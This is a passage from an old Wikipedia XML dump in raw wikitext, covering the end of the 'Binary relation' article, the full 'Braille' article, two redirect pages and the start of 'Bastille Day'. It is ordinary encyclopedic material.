Two different relations could have the same graph.  For example: the relation
: ({ball, car, doll, gun}, {John, Mary, Venus}, {(ball,John), (doll, Mary), (car, Venus)})
is different from the previous one as everyone is an owner.  But the graphs of the two relations are the same.

Nevertheless, ''R'' is usually identified or even defined as G(''R'') and &quot;an ordered pair (''x'', ''y'') &amp;isin; G(''R'')&quot; is usually denoted as &quot;(''x'', ''y'') &amp;isin; ''R''&quot;.

== Special types of binary relations ==
Some important classes of binary relations ''R'' over ''X'' and ''Y'' are listed below
===Total or partial===
*'''left-total''': for all ''x'' in ''X'' there exists a ''y'' in ''Y'' such that ''xRy'' (this property, although sometimes also referred to as ''total'', is different from the definition of ''total'' in the next section).
*'''right-total''' or surjective: for all ''y'' in ''Y'' there exists an ''x'' in ''X'' such that ''xRy''.

===Functional, injective, surjective, bijective===
*'''functional''': for all ''x'' in ''X'', and ''y'' and ''z'' in ''Y'' it holds that if ''xRy'' and ''xRz'' then ''y'' = ''z''.
*'''surjective''': for all ''y'' in ''Y'' there exists an ''x'' in ''X'' such that ''xRy''.
*'''injective''': for all ''x'' and ''z'' in ''X'' and ''y'' in ''Y'' it holds that if ''xRy'' and ''zRy'' then ''x'' = ''z''.
*'''bijective''': left-total, right-total and functional.

A binary relation that is functional is called a [[partial function]]; a binary relation that is both left-total and functional is called a [[function (mathematics)|function]].

== Relations over a set ==

If ''X'' = ''Y'' then we simply say that the binary relation is over ''X''. Or it is an '''endorelation''' over ''X''.

Some important classes of binary relations over a set ''X'' are:
*'''[[reflexive relation|reflexive]]''': for all ''x'' in ''X'' it holds that ''xRx''. For example, &quot;greater than or equal to&quot; is a reflexive relation but &quot;greater than&quot; is not.
*'''[[irreflexive relation|irreflexive]]''': for all ''x'' in ''X'' it holds that '''not''' ''xRx''.  &quot;Greater than&quot; is an example of an irreflexive relation.
*'''coreflexive''': for all ''x'' and ''y'' in ''X'' it holds that if ''xRy'' then ''x'' = ''y''.
*'''[[symmetric relation|symmetric]]''': for all ''x'' and ''y'' in ''X'' it holds that if ''xRy'' then ''yRx''.  &quot;Is a blood relative of&quot; is a symmetric relation, because ''x'' is a blood relative of ''y'' if and only if ''y'' is a blood relative of ''x''.
*'''[[antisymmetric relation|antisymmetric]]''': for all ''x'' and ''y'' in ''X'' it holds that if ''xRy'' and ''yRx'' then ''x'' = ''y''.  &quot;Greater than or equal to&quot; is an antisymmetric relation, because of ''x''&amp;ge;''y'' and ''y''&amp;ge;''x'', then ''x''=''y''. 
*'''[[transitive relation|transitive]]''': for all ''x'', ''y'' and ''z'' in ''X'' it holds that if ''xRy'' and ''yRz'' then ''xRz''. &quot;Is an ancestor of&quot; is a transitive relation, because if ''x'' is an ancestor of ''y'' and ''y'' is an ancestor of ''z'', then ''x'' is an ancestor of ''z''.
*'''[[total relation|total]]''': for all ''x'' and ''y'' in ''X'' it holds that ''xRy'' or ''yRx'' (or both). &quot;Is greater than or equal to&quot; is an example of a total relation (this definition for ''total'' is different from the one in the previous section).
*'''trichotomous''': for all ''x'' and ''y'' in ''X'' exactly one of ''xRy'', ''yRx'' or ''x'' = ''y'' holds. &quot;Is greater than&quot; is an example of a trichotomous relation.
*'''extendable''' (or '''serial'''): for all ''x'' in ''X'', there exists ''y'' in ''X'' such that ''xRy''.  &quot;Is greater than&quot; is an extendable relation on the integers.  But it is not an extendable relation on the positive integers, because there is no ''y'' in the positive integers such that 1&amp;gt;''y''.
*'''set-like''': for every ''x'' in ''X'', the class of all ''y'' such that ''yRx'' is a set. (This makes sense only if we allow relations on proper classes.) The usual ordering &amp;lt; on the class of ordinal numbers is set-like, while its inverse &amp;lt;&lt;sup&gt;-1&lt;/sup&gt; is not.

A relation which is reflexive, symmetric and transitive is called an [[equivalence relation]]. A relation which is reflexive, antisymmetric and transitive is called a [[partial order]].  A partial order which is total is called a [[total order]] or a [[linear order]] or a chain.  A linear order in which every nonempty set has the [[least element]] is called a [[well-order]].

A relation which is symmetric, transitive, and extendable is also reflexive.

== Operations on binary relations ==
If ''R'' is a binary relation over ''X'' and ''Y'', then the following is a binary relation over ''Y'' and ''X'':
* '''Converse''': ''R''&amp;nbsp;&lt;sup&gt;-1&lt;/sup&gt;, defined as ''R''&amp;nbsp;&lt;sup&gt;-1&lt;/sup&gt; = { (y, x) | (x, y) &amp;isin; ''R'' }. A binary relation over a set is equal to its converse if and only if it is symmetric. The converse of a surjective and injective function is called its [[inverse function|inverse]].

If ''R'' is a binary relation over ''X'', then each of the following are binary relations over ''X'':
* '''Reflexive closure''': ''R''&amp;nbsp;&lt;sup&gt;=&lt;/sup&gt;, defined as ''R''&amp;nbsp;&lt;sup&gt;=&lt;/sup&gt; = {(''x'', ''x'') | ''x'' &amp;isin; ''X''} &amp;cup; ''R'' or the smallest reflexive relation over ''X'' containing ''R''. This can seen to be equal to the intersection of all reflexive relations containing ''R''.
* '''[[Transitive closure]]''': ''R''&amp;nbsp;&lt;sup&gt;+&lt;/sup&gt;, defined as the smallest transitive relation over ''X'' containing ''R''. This can seen to be equal to the intersection of all transitive relations containing ''R''.
* '''Transitive-reflexive closure''': ''R''&amp;nbsp;&lt;sup&gt;*&lt;/sup&gt;, defined as ''R''&amp;nbsp;&lt;sup&gt;*&lt;/sup&gt; = (''R''&amp;nbsp;&lt;sup&gt;+&lt;/sup&gt;)&amp;nbsp;&lt;sup&gt;=&lt;/sup&gt;.

If ''R'', ''S'' are binary relations over ''X'' and ''Y'', then each of the following are binary relations:
* '''Union''': ''R'' &amp;cup; ''S''  &amp;sube; ''X'' &amp;times; ''Y'', defined as ''R'' &amp;cup; ''S'' = {(''x'', ''y'') | (''x'', ''y'') &amp;isin; ''R'' or (''x'', ''y'') &amp;isin; ''S''}.
* '''Intersection''': ''R'' &amp;cap; ''S''  &amp;sube; ''X'' &amp;times; ''Y'', defined as ''R'' &amp;cap; ''S'' = { (''x'', ''y'') | (''x'', ''y'') &amp;isin; ''R'' and (''x'', ''y'') &amp;isin; ''S'' }.

If ''R'' is a binary relation over ''X'' and ''Y'', and ''S'' is a binary relation over ''Y'' and ''Z'', then the following is a binary relation over ''X'' and ''Z'':
* '''Composition''': ''S''&amp;nbsp;&lt;small&gt;o&lt;/small&gt;&amp;nbsp;''R'' (also denoted ''R''&amp;nbsp;&lt;small&gt;o&lt;/small&gt;&amp;nbsp;''S''), defined as ''S''&amp;nbsp;&lt;small&gt;o&lt;/small&gt;&amp;nbsp;''R'' = { (''x'', ''z'') | there exists ''y'' &amp;isin; ''Y'', such that (''x'', ''y'') &amp;isin; ''R'' and (''y'', ''z'') &amp;isin; ''S'' }. The order of ''R'' and ''S'' in the notation ''S''&amp;nbsp;&lt;small&gt;o&lt;/small&gt;&amp;nbsp;''R'', used here agrees with the standard notational order for [[composition of functions]].

==Sets versus classes==
Certain mathematical &quot;relations&quot;, such as &quot;equal to&quot;, &quot;member of&quot;, and &quot;subset of&quot;, cannot be understood to be binary relations as defined above, because  their domains and codomains cannot be taken to be sets in the usual systems of [[axiomatic set theory]].

For example, if we try to model the general concept of &quot;equality&quot; as a binary relation &lt;math&gt;=&lt;/math&gt;, we must take the domain and codomain to be the &quot;set of all sets&quot;, which is not a set in the usual set theory.  The usual work-around to this problem is to select a &quot;large enough&quot; set ''A'', that contains all the objects of interest, and work with the restriction &lt;math&gt;=_A&lt;/math&gt; instead of &lt;math&gt;=&lt;/math&gt;.

Similarly, the &quot;subset of&quot; relation &lt;math&gt;\subseteq&lt;/math&gt; needs to be restricted to have domain and codomain ''P''(''A'') (the  power set of a specific set ''A''):  the resulting set relation can be denoted &lt;math&gt;\subseteq_A&lt;/math&gt;. Also, the &quot;member of&quot; relation needs to be restricted to have domain ''A'' and codomain ''P''(''A'') to obtain a binary relation &lt;math&gt;\in_A&lt;/math&gt; which is a set.

Another solution to this problem is to use a set theory with proper classes, such as [[NBG]] or [[Morse-Kelley set theory]], and allow the domain and codomain (and so the graph) to be [[proper class]]es:  in such a theory, equality, membership, and subset are binary relations without special comment.  (A minor modification needs to be made to the concept of the ordered triple (''X'', ''Y'', ''G''), as normally a proper class cannot be a member of an ordered tuple; or of course one can identify the function with its graph in this context.)

In most mathematical contexts, references to the relations of equality, membership and subset are harmless because they can be understood implicitly to be restricted to some set in the context.

==Examples of common binary relations==
* [[Equality (mathematics) | Equality]]
* [[Greater than]]
* Greater than or equal to
* [[Less than]]
* Less than or equal to
* [[Divides]] (evenly)

==See also==
{{col-begin}}
{{col-break}}
* [[Relation (mathematics)|Relation]]
* [[Relation construction]]
** [[Relation composition]]
** [[Relation reduction]]
* [[Correspondence (mathematics)|Correspondence]]
* [[Equivalence relation]]
* [[Function (mathematics)|Function]]
{{col-break}}
* [[Incidence structure]]
* [[Logic of relatives]]
* [[Partial order]]
* [[Reflexive relation]]
* [[Total order]]
* [[Triadic relation]]
* [[Well-order]]
{{col-end}}

[[Category:Set theory]]

[[cs:Binární relace]]
[[et:Binaarne seos]]
[[es:Relación binaria]]
[[fr:Relation binaire]]
[[he:יחס]]
[[it:Relazione binaria]]
[[ja:二項関係]]
[[pl:Relacja (matematyka)]]
[[ru:Бинарное отношение]]
[[uk:Бінарне відношення]]
[[zh:二元关系]]</text>
    </revision>
  </page>
  <page>
    <title>Braille</title>
    <id>3933</id>
    <revision>
      <id>41519260</id>
      <timestamp>2006-02-27T22:26:04Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/209.232.157.78|209.232.157.78]] ([[User talk:209.232.157.78|talk]]) to last version by 81.129.248.245</comment>
      <text xml:space="preserve">[[Image:BrailleAlphabet.jpg|right]]
[[Image:DSC 4050-MR-Braille.jpg|rigth|thumbnail|200px|&quot;PREMIER&quot; - first]]
The '''braille''' system, named after [[Louis Braille]], is a method that is widely used by [[blindness|blind]] people to read and write. Each braille character or &quot;cell&quot; is made up of six dot positions, arranged in a [[rectangle]] containing two columns of three dots each. A dot may be raised at any of the six positions to form sixty-four combinations, counting the space, in which no dots are raised. For reference purposes, a particular combination may be described by naming the positions where dots are raised, the positions being universally numbered 1 through 3 from top to bottom on the left, and 4 through 6 from top to bottom on the right. For example, dots 1-3-4 would describe a cell with three dots raised, at the top and bottom in the left column and on top of the right column.

The braille system was based on a method of communication originally developed by [[Charles Barbier]] in response to [[Napoleon]]'s demand for a [[code]] that soldiers could use to communicate silently and without light at night called [[night writing]]. Barbier's system was too complex for soldiers to learn, and was rejected by the military; in 1821 he visited the National Institute for the Blind in Paris, France, where he met [[Louis Braille]]. Louis identified the major failing of the code, which  was that the human finger could not encompass the whole symbol without moving, and so could not move rapidly from one symbol to another. His modification was to use a 6 dot cell &amp;mdash; the braille system &amp;mdash; which revolutionized written communication for the blind.

==The Braille alphabet==
Braille can be seen as the world's first [[Binary numeral system|binary]] character encoding. The system as originally invented by Braille consists of two parts
# A [[character encoding]] for mapping characters of the [[French language]] to [[tuple]]s of six [[bit]]s or &quot;dots&quot;.
# A way of representing six-bit characters as raised dots in Braille cell.

Today different [[braille code]]s (or [[code page]]s) are used to map character sets of different languages to the six bit cells. Different braille codes are also used for different uses like mathematics and music.
 
In addition to simple encoding modern braille transcription uses [[contraction (grammar)|contraction]]s to increase reading speed. (See: Grade 2 Braille)

===The Braille cell===
Braille generally consists of cells of 6 raised dots arranged in a grid of two dots horizontally by three dots vertically. The dots are conventionally numbered 1, 2, 3 from the top of the leftward column and 4, 5, 6 from the top of the rightward column.

[[image:brajlo.gif|thumb|right|Braille cell]]
The presence or absence of dots gives the coding for the symbol. 
Dot height is approximately 0.02 inches (0.5 mm); the horizontal and vertical spacing between dot centers within a braille cell is approximately 0.1 inches (2.5 mm); the blank space between dots on adjacent cells is approximately 0.15 inches (3.75 mm) horizontally and 0.2 inches (5.0 mm) vertically. A standard braille page is 11 inches by 11 inches and typically has a maximum of 40 to 42 braille cells per line and 25 lines.

===Encoding===
As originally conceived by [[Louis Braille]], a sequence of characters, using the top 4 dots of the braille cell, represents letters &quot;a&quot; through &quot;j&quot;.  Dot 3 is added to each of the &quot;a&quot; through &quot;j&quot; symbols to give letters &quot;k&quot; through &quot;t&quot;.  Both of the bottom dots (dots 3 and 6) are added to the symbols for &quot;a&quot; through &quot;e&quot; to give letters &quot;u&quot;, &quot;v&quot;, &quot;x&quot;, &quot;y&quot;, and &quot;z&quot;.  The letter &quot;w&quot; is an exception to the pattern because [[French language|French]] did not make use of the letter &quot;w&quot; at the time Louis Braille devised his alphabet, and thus he had no need to encode the letter &quot;w&quot;.

English braille codes the letters and punctuation, and some double letter signs and word signs directly, but capitalisation and numbers are dealt with by using a [[prefix]] symbol. In practice, braille produced in the United Kingdom does not have capital letters. 

There are braille codes for representing [[shorthand]] (produced on a machine which embosses a paper tape) and for representing [[mathematics]] ([[Nemeth Braille]]) and [[musical notation]] ([[braille music]]).

===Writing braille===
Braille may be produced using a &quot;slate&quot; and a &quot;stylus&quot; in which each dot is created from the back of the page, writing in mirror image, by hand, or it may be produced on a braille typewriter or &quot;[[Perkins Brailler]]&quot;, or produced by a [[braille embosser]] attached to a computer.  It may also be rendered using a [[refreshable braille display]].

Braille has been extended to an 8 dot code, particularly for use with braille embossers and refreshable braille displays.  In 8 dot braille the additional dots are added at the bottom of the cell, giving a matrix 4 dots high by 2 dots wide.  The additional dots are given the numbers 7 (for the lower-left dot) and 8 (for the lower-right dot).  8-dot braille has the advantages that the case of an individual letter is directly coded in the cell containing the letter and that all the printable [[ASCII]] characters can be represented in a single cell. All 256 possible combinations of 8 dots are encoded by the [[Unicode]] standard.  Braille with six dots is frequently stored as [[braille ASCII]].

===Letters and numbers===
&lt;gallery&gt;
Image:Braille A1.svg|[[A]], [[1 (number)|1]]
Image:Braille B2.svg|[[B]], [[2 (number)|2]]
Image:Braille C3.svg|[[C]], [[3 (number)|3]]
Image:Braille D4.svg|[[D]], [[4 (number)|4]]
Image:Braille E5.svg|[[E]], [[5 (number)|5]]
Image:Braille F6.svg|[[F]], [[6 (number)|6]]
Image:Braille G7.svg|[[G]], [[7 (number)|7]]
Image:Braille H8.svg|[[H]], [[8 (number)|8]]
Image:Braille I9.svg|[[I]], [[9 (number)|9]]
Image:Braille J0.svg|[[J]], [[0 (number)|0]]
Image:Braille K.svg|[[K]]
Image:Braille L.svg|[[L]]
Image:Braille M.svg|[[M]]
Image:Braille N.svg|[[N]]
Image:Braille O.svg|[[O]]
Image:Braille P.svg|[[P]]
Image:Braille Q.svg|[[Q]]
Image:Braille R.svg|[[R]]
Image:Braille S.svg|[[S]]
Image:Braille T.svg|[[T]]
Image:Braille U.svg|[[U]]
Image:Braille V.svg|[[V]]
Image:Braille W.svg|[[W]]
Image:Braille X.svg|[[X]]
Image:Braille Y.svg|[[Y]]
Image:Braille Z.svg|[[Z]]
&lt;/gallery&gt;

===Other symbols===
&lt;gallery&gt;
Image:Braille CapitalSign.svg|Capital letter follows
Image:Braille NumberSign.svg|Number follows
Image:Braille Period.svg|[[Full stop]]/period
Image:Braille Comma.svg|[[Comma]]
Image:Braille Semicolon.svg|[[Semicolon]]
Image:Braille ExclamationPoint.svg|[[Exclamation point]]
Image:Braille QuoteOpen.svg|Opening [[quotation mark]]
Image:Braille QuoteClose.svg|Closing [[quotation mark]]
Image:Braille Bracket.svg|[[Bracket (punctuation)|Parenthesis]] (opening and closing)
Image:Braille Hyphen.svg|[[Hyphen]]
&lt;/gallery&gt;
The question mark is dots 2,3,6 which you may notice is the same as the opening quotation mark.  Therefore the placement of the dots -before a word or after a word- will determine which symbol it is.

Opening and closing parentheses are shown with the same symbol. Therefore, the placement context will determine whether the parentheses is opening or closing.

===Unicode rendering table===
The Unicode standard encodes 8-dot Braille glyphs according to their binary appearance, rather than following the alphabetic order of any particular convention.

{| class=&quot;wikitable&quot;
|-
! Braille
! Letter
! Braille
! Letter
|-
| &amp;#x2801; || A 1 || &amp;#x281E; || T              
|-
| &amp;#x2803; || B 2 || &amp;#x2825; || U              
|-
| &amp;#x2809; || C 3 || &amp;#x2827; || V              
|-
| &amp;#x2819; || D 4 || &amp;#x283A; || W              
|-
| &amp;#x2811; || E 5 || &amp;#x282D; || X              
|-
| &amp;#x280B; || F 6 || &amp;#x283D; || Y              
|-
| &amp;#x281B; || G 7 || &amp;#x2835; || Z              
|-
| &amp;#x2813; || H 8 || &amp;#x2820; || Capital sign   
|-
| &amp;#x280A; || I 9 || &amp;#x283C; || Number sign    
|-
| &amp;#x281A; || J 0 || &amp;#x2832; || Period         
|-
| &amp;#x2805; || K  || &amp;#x2802; || Comma          
|-
| &amp;#x2807; || L  || &amp;#x2826; || Question mark  
|-
| &amp;#x280D; || M  || &amp;#x2806; || Semicolon      
|-
| &amp;#x281D; || N  || &amp;#x2816; || Exclamation mark
|-
| &amp;#x2815; || O  || &amp;#x2826; || Opening quote  
|-
| &amp;#x280F; || P  || &amp;#x2834; || Closing quote  
|-
| &amp;#x281F; || Q  || &amp;#x2836; || Bracket        
|-
| &amp;#x2817; || R  || &amp;#x2824; || Hyphen         
|-
| &amp;#x280E; || S  || &amp;#160; || &amp;#160;
|}

==Braille transcription==
[[Image:Braille Writer.jpg|thumb|Braille Writer]]
Although it is possible to transcribe braille by simply substituting the equivalent braille character for its printed equivalent, such a character-by-character transcription (known as ''Grade 1 Braille'') is used only by beginners. 

Braille characters are much larger than their printed equivalents, and the standard 11&quot; by 11&quot; (28 cm &amp;times; 28 cm) page has room for only 25 lines of 40 characters. To reduce space and increase reading speed, virtually all braille books are transcribed in what is known as ''Grade 2 Braille,'' which uses a system of contractions to reduce space and speed the process of reading.  As with most human linguistic activities, Grade 2 Braille embodies a complex system of customs, styles, and practices. The Library of Congress's ''Instruction Manual for Braille Transcribing'' runs to nearly 200 pages. Braille transcription is skilled work, and braille transcribers need to pass certification tests.

In English, the system of Grade 2 Braille contractions begins with a set of 23 words which are contracted to single characters. Thus the word ''but'' is contracted to the single letter ''b,'' ''can'' to ''c'', ''do'' to ''d'', and so on. Even this simple rule creates issues requiring special cases; for example, ''d'' is, specifically, an abbreviation of the verb ''do;'' the noun ''do'' representing the note of the musical scale is a different word, and must be spelled out.

Portions of words may be contracted, and many rules govern this process. For example, the character with dots 2-3-5 (the letter &quot;f&quot; lowered in the braille cell) stands for &quot;ff&quot; when used in the middle of a word.  At the beginning of a word, this same character stands for the word &quot;to&quot; although the character is written in braille with no space following it.  At the end of a word, the same character represents an exclamation point.

The contraction rules take into account the linguistic structure of the word; thus, contractions are not to be used when their use would alter the usual braille form of a base word to which a prefix or suffix has been added.  And some portions of the transcription rules are not fully codified and rely on the judgement of the transcriber. Thus, when the contraction rules permit the same word in more than one way, preference is given to &quot;the contraction that more nearly approximates correct pronunciation.&quot;

''Grade 3 Braille'' is a system that includes many additional contractions, almost a shorthand; it is not used for publication, but is used mostly for individuals for their personal convenience.

The current series of [[Canadian dollar|Canadian banknotes]] have raised dots on the banknotes that indicate the denomination and can be easily identified by visually impaired people; this [[Canadian currency tactile feature|'tactile feature']] does not use standard braille but, instead, a system developed in consultation with blind and visually impaired Canadians after research indicated that not all potential users read braille.

Though braille is thought to be the main way blind people read and write, in Britain (for example) out of the reported 2 million visually impaired population, it is estimated that only around 15-20 thousand people use Braille. Younger people are turning to electronic text on computers instead; a more portable communication method that they can also use with their friends. A debate has started on how to make braille more attractive and for more teachers to be available to teach it.

==Braille for other scripts==
There are many extensions of Braille for additional letters with [[diacritic]]s, such as ''ç, ô, é''. 

When braille is adapted to languages which do not use the [[Latin alphabet]], the blocks are generally assigned to the new alphabet according to how it is transliterated into the Latin alphabet, and the alphabetic order of the national script (and therefore the natural order of Latin braille) is disregarded. Such is the case with Russian, Greek, Hebrew, Arabic, and Chinese. In Greek, for example, ''gamma'' is written as Latin ''g'', despite the fact that it has the alphabetic position of ''c''; Hebrew ''beth'', the second letter of the alphabet and [[cognate]] with the Latin letter ''b'', is instead written ''v'', as it is commonly pronounced; Russian ''ts'' is written as ''c'', which is the usual letter for /ts/ in those Slavic languages that use the Latin alphabet; and Arabic ''f'' is written as ''f'', despite being historically ''p'', and occurring in that part of the Arabic alphabet (between historic ''o'' and ''q''). [[Esperanto]] letters with circumflexes, ''ĉ'', ''ĝ'', ''ĥ'', ''ĵ'' and ''ŝ'', are written as those letters without circumflexes with a filled sixth dot. The ''ŭ'', used in Esperanto too, is as the u but the first dot is moved to the second place.

Greater differences occur in Chinese braille. In the case of [[Mandarin (linguistics)|Mandarin]] Braille, which is based on [[Zhuyin]] rather than the Latin [[Pinyin]] alphabet, the traditional Latin braille values are used for initial consonants and the simple vowels. However, there are additional blocks for the tones, diphthongs, and vowel + consonant combinations. [[Cantonese Braille]] is also based on Latin braille for many of the initial consonants and simple vowels (based on Romanizations of a century ago), but the blocks pull double duty, with different values depending on whether they're placed in syllable-initial or syllable-final position. For instance, the block for Latin ''k'' represents old-style Cantonese ''k'' (''g'' in [[Yale Romanization|Yale]] and other modern Romanizations) when initial, but ''aak'' when final, while Latin ''j'' represents Cantonese initial ''j'' but final ''oei''. 

However, at least two adaptations of Braille have completely reassigned the Latin sound values of the blocks. These are:
* [[Japanese Braille]]
* [[Korean Braille]]

In Japanese Braille, alphabetic signs for a consonant and vowel are combined into a single syllabic block; in Korean Braille, the consonants have different syllable-initial and syllable-final forms. These modifications made Braille much more compatible with Japanese [[kana]] and Korean [[hangul]], but meant that the Latin sound values could not be maintained.

==Braille in Pokemon==
Braille was incorporated into Pokemon Ruby, Sapphire, and Emerald for the [[Gameboy Advance]]. In this, the player had to read the braille and solve the requirements before encountering three legendary pokemon: [[Regirock]]; [[Registeel]]; and [[Regice]]. Out of all the modern games, this is the only one that uses the system effectively.

==See also==
* [[Braille terminal]]
* [[Moon type]]
* [[Unified English Braille Code]]

==External links==
*[http://www.afb.org/braille.asp Braille - American Foundation for the Blind]
*[http://www.afb.org/braillebug/ Braille Bug - an educational site for kids, from the American Foundation for the Blind]
*[http://www.rnib.org.uk Royal National Institute For The Blind]
*[http://homepages.cwi.nl/~dik/english/codes/braille.html Braille for various scripts]
*[http://www.braillevirtual.fe.usp.br On-line Braille Course of University of São Paulo]
*[http://www.unicode.org/charts/PDF/U2800.pdf Unicode reference glyphs for Braille patterns] (in [[PDF]] format)
*[http://yudit.org/download/fonts/UBraille/UBraille.ttf Free Unicode Braille TTF font (supports all Braille scripts)]
*[http://www.travelphrases.info/gallery/Fonts_Braille.html Free Unicode fonts which include braille]
*[http://www.nyise.org/blind/irwin2.htm Robert B. Irwin's ''As I Saw It''], 1955, gives a history of the &quot;War of the Dots&quot; that ultimately led to the adoption of the English form of the braille literary code in the United States and the demise of [[American braille]] and [[New York Point]], its main competitors.
*[http://www.nlb-online.org The National Library for the Blind]
*[http://www.iceb.org/ubc.html Unified (English) Braille Code] (including information specific to British braille)
*[http://www.brl.org/ebae/ English Braille: American Edition]
*[http://flaming-shadows.tripod.com/braille.htm Online Braille Generator]
*[http://www.mathsisfun.com/braille-translation.html Online Braille Translation] 
*[http://www.brailler.com/braillehx.htm How Braille Began] -- a detailed history of braille's origins and the people who supported and opposed the system.
*[http://www.nbp.org/ic/nbp/braille/index.html?id=PZoXeJDm A braille alphabet card]

{{Link FA|cs}}

[[Category:Braille]]
[[Category:Tactile alphabets]]
[[Category:Assistive technology]]
[[Category:Encodings]]
[[Category:Blindness]]
[[Category:Latin alphabet representations]]

[[ar:كتابة بريل]]
[[cs:Braillovo písmo]]
[[da:Braille-alfabetet]]
[[de:Brailleschrift]]
[[es:Braille]]
[[eo:Brajlo]]
[[fr:Braille]]
[[gl:Braille]]
[[ko:점자]]
[[it:Braille]]
[[he:כתב ברייל]]
[[lt:Aklųjų raštas]]
[[ms:Braille]]
[[nl:Braille]]
[[ja:点字]]
[[pl:Alfabet Braille'a]]
[[pt:Braille]]
[[ro:Alfabetul Braille]]
[[ru:Шрифт Брайля]]
[[sk:Braillovo písmo]]
[[sl:Braillova pisava]]
[[sr:Брајева азбука]]
[[fi:Pistekirjoitus]]
[[sv:Brailleskrift]]
[[th:อักษรเบรลล์]]
[[uk:Брайля шрифт]]
[[zh:盲文]]</text>
    </revision>
  </page>
  <page>
    <title>Baby Boom</title>
    <id>3934</id>
    <revision>
      <id>15902245</id>
      <timestamp>2004-11-10T06:32:18Z</timestamp>
      <contributor>
        <username>Siroxo</username>
        <id>49312</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[baby boom]] as per vfd</comment>
      <text xml:space="preserve">#REDIRECT [[baby boom]]</text>
    </revision>
  </page>
  <page>
    <title>BuddHism</title>
    <id>3935</id>
    <revision>
      <id>15902246</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Buddhism]]
</text>
    </revision>
  </page>
  <page>
    <title>Bastille Day</title>
    <id>3936</id>
    <revision>
      <id>39734292</id>
      <timestamp>2006-02-15T13:58:41Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>/* History of the celebration */ Wikify dates</comment>
      <text xml:space="preserve">[[Image:Champs-Elysees-p1000418-smal.jpg|thumb|The ''[[Champs-Élysées]]'' decorated with flags for the [[14 July]].]]

'''Bastille Day''' is the [[France|French]] [[national holiday]], celebrated on [[14 July]] each year. It is called ''Fête Nationale'' (National Holiday) in France. It commemorates the [[1790]] ''[[Fête de la Fédération]]'', held on the first anniversary of the [[storming of the Bastille]] on [[14 July]] [[1789]]; the ''Fête de la Fédération'' was seen as a symbol of the uprising of the modern French &quot;nation&quot;, and of the reconciliation of all the French inside the constitutional monarchy which preceded the [[First Republic (France)|First Republic]], during the [[French Revolution]].

==Current festivities==
[[Image:Chirac July 14 motorcade DSC00776.jpg|thumb|right|[[Jacques Chirac]] reviewing troops on the 2003 Bastille Day parade.]]

[[14 July]] is the French national day, simply called ''Fête nationale'' or ''14 juillet'' (though it is generally referred to as [[Bastille Day]] in English). Many cities hold fireworks during the night. It is also customary that [[firefighter]]s organise dancing parties (''bals du 14 juillet'').

The day officially celebrates the [[1790]] ''[[Fête de la Fédération]]'', though it is often associated, even in France, with the [[Storming of the Bastille]].

Military parades are held on the morning of [[14 July]], the largest of which takes place on the [[Champs-Élysées]] avenue in [[Paris]] in front of the [[President of France|President of the Republic]].

The parade opens with [[cadet]]s from certain schools ([[École Polytechnique]], [[École Spéciale Militaire de Saint-Cyr|Saint-Cyr]], [[École Navale]], and so forth), then other [[infantry]] troops, then motorised troops; [[aviation]] of the [[Patrouille de France]] flies above. In recent times, it has become customary to invite units from France's close allies into the parade; for instance, in [[2004]] during the centenary of the [[Entente Cordiale]], [[British Armed Forces|British troops]] (the band of the [[Royal Marines]], the [[Household Cavalry Mounted Regiment]], [[Grenadier Guards]] and [[King's Troop, Royal Horse Artillery]]) led the Bastille Day parade in Paris for the first time, with the [[Red Arrows]] flying overhead.[http://www.entente-cordiale.org/en/6a_c.php?id=1].

The parade also involves the [[French Republican Guard]], and occasionally (non-military) [[police]] units; it always ends with the much-cheered and popular [[Paris Fire Brigade]] (which, exceptionally, has military status in France). Traditionally, the students of the École Polytechnique set up some form of joke.

The [[President of the French Republic|president]] then gives an [[interview]] to members of the press, discussing the situation of the country, recent events and projects for the future. He also holds a [[garden party]] at the [[Élysée Palace|Palais de l'Elysée]].

Bastille Day also falls during the running of the [[Tour de France]], and is traditionally the day upon which French riders will make a special effort to take a stage victory for France.

==History of the celebration==
[[Image:Monet-montorgueil.JPG|thumb|[[Claude Monet]], ''Rue Montorgueil, Paris, Festival of [[30 June]] [[1878]]''.]]

On [[30 June]] [[1878]], a feast had been set in Paris by official decision to honour the Republic (the event was immortalised by a painting by [[Claude Monet]]). On the [[14 July]] [[1879]], another feast took place, with a semi-official aspect; the events of the day included a military review in Longchamp, a reception in the Chambre of Deputies, organised and presided by [[Léon Gambetta]], and a Republican Feast in the pré Catelan with [[Louis Blanc]] and [[Victor Hugo]]. All through France, as ''[[Le Figaro]]'' wrote on the 16, &quot;people feasted a lot to honour the Bastille&quot;.

On the [[21 May]] [[1880]], [[Benjamin Raspail]] presented a law proposal to have &quot;the Republic choose the [[14 July]] as a yearly national holiday&quot;. The Assembly voted the text on [[21 May]] and [[8 June]]. The Senate approved on [[27 June|27]] and [[29 June]], favouring [[14 July]] against [[4 August]] (honouring the [[French_Revolution_from_the_abolition_of_feudalism_to_the_Civil_Constitution_of_the_Clergy#The_abolition_of_feudalism|end of the feudal system]] on [[4 August]] [[1789]]). The law was made official on [[6 July]] [[1880]], and the Ministry of the Interior recommended to the prefects that the day should be &quot;celebrated with all the brilliance that the local resources allow&quot;. Indeed, the celebrations of the new holiday in 1880 were particularly magnificent.

===Discourse by Henri Martin to the Senate===
Discourse by [[Henri Martin]], Chairman of the Senate, [[29 June]] [[1880]]

: (...) Do not forget that behind this 14&amp;nbsp;July, where victory of the new era over the ''[[ancien régime]]'' was bought by fighting, do not forget that after the day of 14&amp;nbsp;July 1789, there was the day of 14&amp;nbsp;July 1790.

: This [latter] day cannot be blamed for having shed a drop of blood, for having divided the country. It was the consecration of unity of France. Yes, it consecrated what the old monarchy had prepared.

